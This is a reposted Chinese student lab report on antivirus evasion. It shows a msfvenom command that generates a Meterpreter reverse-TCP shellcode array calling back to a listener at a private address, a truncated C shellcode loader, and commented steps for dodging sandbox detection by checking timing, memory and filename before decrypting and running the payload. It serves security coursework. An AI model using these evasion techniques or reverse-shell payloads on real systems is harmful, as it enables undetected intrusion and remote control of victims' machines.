博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
20155222卢梓杰 实验三 免杀原理与实践
阅读量:7227 次
发布时间:2019-06-29

本文共 1314 字,大约阅读时间需要 4 分钟。

实验三 免杀原理与实践

1.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧

实验步骤如下

  • 1.先对实验二中生成的exe进行检测
    1073649-20180409093228592-584311846.png
    65款杀毒软件有36款认为不安全
    1073649-20180409093518072-487920520.png
    39款杀毒软件有6款认为不安全
    what??结果好像有点理想,但是实验还是要尴尬地做下去的
  • 2.再试试用msfvenom生成其他格式的文件
    • 1.java

      首先选择合适的payload
      1073649-20180409101817762-720951928.png
      1073649-20180409102221096-2067183484.png

      看看测试结果
      1073649-20180409102346737-1553072873.png
      与exe文件相差无几
      1073649-20180409102441551-116160314.png
      ??
    • 2.jar

      1073649-20180409105027167-668423082.png
      1073649-20180409104915417-1646035308.png
      1073649-20180409105112015-465097590.png

    • 3.python

      1073649-20180409105825490-676355308.png
      1073649-20180409105853485-434583469.png
      1073649-20180409105943204-1486389040.png

  • 3.veil-evasion

    1073649-20180411093852327-713325620.png
    1073649-20180411093924105-130719579.png
    效果很不理想,毕竟是世界知名的产品,早就被AV盯死了

    2.通过组合应用各种技术实现恶意代码免杀

    很无奈,接下来利用c+shellcode半手工打造恶意代码
  • 1.首先在kali中以一个正常的exe文件作为模板生成shellcode数组

    msfvenom -p windows/meterpreter/reverse_tcp -x lzj.exe LHOST=192.168.77.138 LPORT=5222 -f c
    1073649-20180411094734327-196688352.png
    然后将它拷贝到win7主机的codeblocks中,加几行语句形成如下代码

    unsigned char met[] ="\xa6\xb2\xd8\x5a\x5a\x5a\x3a\xd3\xbf\x6b\x9a\x3e\xd1\x0a\x6a"///省略若干行"\x99\xe1\xaa\xef\xf8\x0c\x30\x5a\x09\xa5\x8f";int main(){    //执行shellcode}

    编译就可以得到一个能够成功回连的exe文件。

    然而会被查出来,所以要用如下代码
    ```
    unsigned char met[] =
    "\xa6\xb2\xd8\x5a\x5a\x5a\x3a\xd3\xbf\x6b\x9a\x3e\xd1\x0a\x6a"
    ...省略一万字
    "\x99\xe1\xaa\xef\xf8\x0c\x30\x5a\x09\xa5\x8f";

    int main(int argc, char * argv[])

    {
    //获取当前系统时间
    //睡眠20000毫秒
    //再次获取当前系统时间
    //将两次时间相减看看是否小于19800
    //如果小于,可能是AV在检测,停止运行
    //如果大于,获取当前进程的内存,如果大于3500000 bytes,可能正在被检测,停止
    //如果小于,查看当前文件名是否跟原先一致,若果不一致,停止
    //否则解密shellcode、执行shellcode
    }

    ```

    就能得到一个免杀的恶意代码了。

    1073649-20180411154610203-175989436.jpg

    4.思考题

  • 1.杀软是如何检测出恶意代码的?
    1.静态检测,将代码与搜集来的知名度高的恶意代码比较。
    2.启发式检测,将代码放到沙箱环境中运行,看是否会生成恶意代码或有恶意行为
  • 2.免杀是做什么?
    绕过AV的检测
  • 3.免杀的基本方法有哪些?

    加密shellcode、DLL注入、RunPE 等等

转载于:https://www.cnblogs.com/20155222lzj/p/8796143.html

你可能感兴趣的文章
IT系统架构设计
查看>>
Nginx虚拟主机配置实践(一)
查看>>
细谈Spring(一)spring简介
查看>>
网络工程师的面试题
查看>>
nginx启动脚本
查看>>
常用输入法框架简介
查看>>
记录新机房建设。20130629
查看>>
安装ntop
查看>>
ssh远程登录讲解
查看>>
mysql的备份脚本
查看>>
linux下mysql的root密码忘记解决方法
查看>>
7.索引的性能分析
查看>>
在 Delphi 下使用 DirectSound (17): 频率均衡效果器 IDirectSoundFXParamEq8
查看>>
文件操作命令一cp 2
查看>>
Multi-Mechanize工程目录结构说明
查看>>
halt
查看>>
标准ACL+扩展ACL+命名ACL
查看>>
Meteor应用的启动过程分析
查看>>
九曲黄河万里沙,浪淘风簸自天涯 — 正则表达式
查看>>
欲哭无泪,联想笔记本性价比
查看>>